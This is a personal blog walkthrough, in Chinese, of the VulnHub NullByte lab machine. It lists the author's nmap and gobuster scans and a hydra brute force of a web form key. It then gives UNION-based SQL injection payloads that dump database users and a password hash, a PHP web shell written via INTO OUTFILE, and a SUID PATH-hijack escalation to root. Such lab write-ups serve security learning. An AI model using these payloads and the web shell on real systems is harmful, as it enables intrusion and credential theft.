Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5
1080 字
5 分钟
vulnhub靶机-nullbyte(sql注入)

vulnhub靶机-nullbyte(sql注入)#

声明#

  1. 本文为个人跟随b站up主红队笔记学习vulnhub的nullbyte靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
  2. 该靶机下载地址为’https://vulnhub.com/entry/nullbyte-1,126/‘

渗透流程#

  1. 在vmware部署靶机并开机后,首先打开kali对靶机进行信息收集,使用nmap执行nmap -sn 192.168.245.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.245.158为靶机。(192.168.245.136为我的kali虚拟机的地址) ip
  2. 并进行端口发现,执行nmap --min-rate 10000 -p- 192.168.245.158,并对开放端口记录用于后续渗透,发现80、111、777端口,并观察端口服务。 ports
  3. 对端口进行详细扫描,执行nmap -sT -sV -sC -O -p9999,10000 192.168.245.158,得到端口详细服务内容(80为http服务,111为rpcbind,777为ssh连接)和系统版本。 details
  4. 执行sudo nmap --script=vuln -p80,111,777 192.168.245.158用脚本扫一下漏洞,没有什么发现。 vulnscan
  5. 简单访问一下80端口web服务。 http
  6. 使用目录爆破工具执行gobuster dir -u http://192.168.245.158 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt进行目录爆破。 gobuster
  7. 访问爆破出的目录。 uploads phpmyadmin
  8. 保存主页的gif,对于前面主页gif考虑有没有隐写,使用file和exiftool检查(exiftool使用参考https://wilesangh.github.io/ctf-web/exiftool%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8C/#51),这里发现的的P->: kzMb5nVYJw 需要留意。 gif
  9. 把其作为密码尝试以root身份进行ssh连接(使用777端口),没连接成,考虑其它途径。 ssh
  10. 考虑作为目录,成功发现一个页面。 key
  11. 查看原码,此为一个密码表单,并且注释this form isn't connected to mysql, password ain't that complex提示其不连接数据库,密码也不复杂。 f12
  12. 查看hydra语法并且执行hydra 192.168.245.158 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l aaa -P /usr/share/wordlists/rockyou.txt,得到密码是elite。 grammar hydra
  13. 进入后有个搜索框,尝试多次发现是对用户输入进行查询,测试是否有sql注入。 search
  14. 在仅输入”时候存在注入。 injection
  15. 输入" union select 1; #,注入显示 Could not get data: The used SELECT statements have a different number of columns,直到" union select 1,2,3; #显示如图。 of
  16. 输入" union select database(),@@version,user(); #获取更多信息。 strings
  17. " union select table_schema,table_name,3 from information_schema.tables; #获取表名。 revise
  18. " union select table_name,2,3 from information_schema.tables where table_schema="seth"; #缩小范围仅获取seth中的表名。 imu
  19. " union select column_name,2,3 from information_schema.columns where table_schema="seth" and table_name="users"; #获取seth库users表的列名。 offset
  20. " union select id,user,pass from users; #,读到可能的密码YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE ABC
  21. base64解码为c6d6bd7ebf806f43c76acc3681703b81,特征检验为md5 ,破解为omega base64
  22. ssh登录上ramses ramses

另一种获取初始权限的办法#

  1. " union select "<?php system($_GET['ooo']); ?>","","" into outfile "/var/www/html/uploads/shell.php"; #(前提:secure_file_priv设置可写),为参数ooo在url中拼接执行的指令可以执行。 shell
  2. 拼接cat指令,查看刚才的420search.php,其可能有数据库连接的信息,执行果然得到root的密码,可以用于登录数据库,进而得到 ramses的密码并登录 420

提权部分#

  1. 按照权限搜索,执行find / -group ramses -type f 2>/dev/null | grep -v '/proc' (Linux 系统中,查找所有所属用户组为 ramses 的普通文件,并过滤掉 /proc 目录下的结果),find / -perm -u=s -type f 2>/dev/nul(Linux 系统中,查找所有设置了 SUID 权限的普通文件),以下为关注内容 search
  2. cd到/var/www/backup,procwatch有suid权限。 suid
  3. 执行该文件发现执行三个进程,创建一个从 ps 指向 /bin/sh 的软链接,写入环境变量,再次执行获得root权限,渗透结束。 rotted

其它补充#

  1. 111端口运行的rpcbind旧称portmap,默认111端口,用于rpc程序号与网络地址/端口映射,由于很多 RPC 服务不固定端口、动态分配,客户端无法知道端口,通过rpcbind 统一提供查询入口。
  • RPC(Remote Procedure Call)是一种协议,允许应用程序在不同计算机之间进行通信,并像调用本地函数一样调用远程服务。
  1. mysql5.0以上版本中,存在一个内置库information_schema,被视为一个虚拟数据库,用于获取数据库结构信息,如表名、列名、数据类型、索引和约束等(如columns表和tables表存放所有的列名和表名),提升了元数据查询的灵活性和跨版本兼容性。
vulnhub靶机-nullbyte(sql注入)
http://124.70.202.140/posts/post-9/9/
作者
Ne+N3k_O
发布于
2026-02-25
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时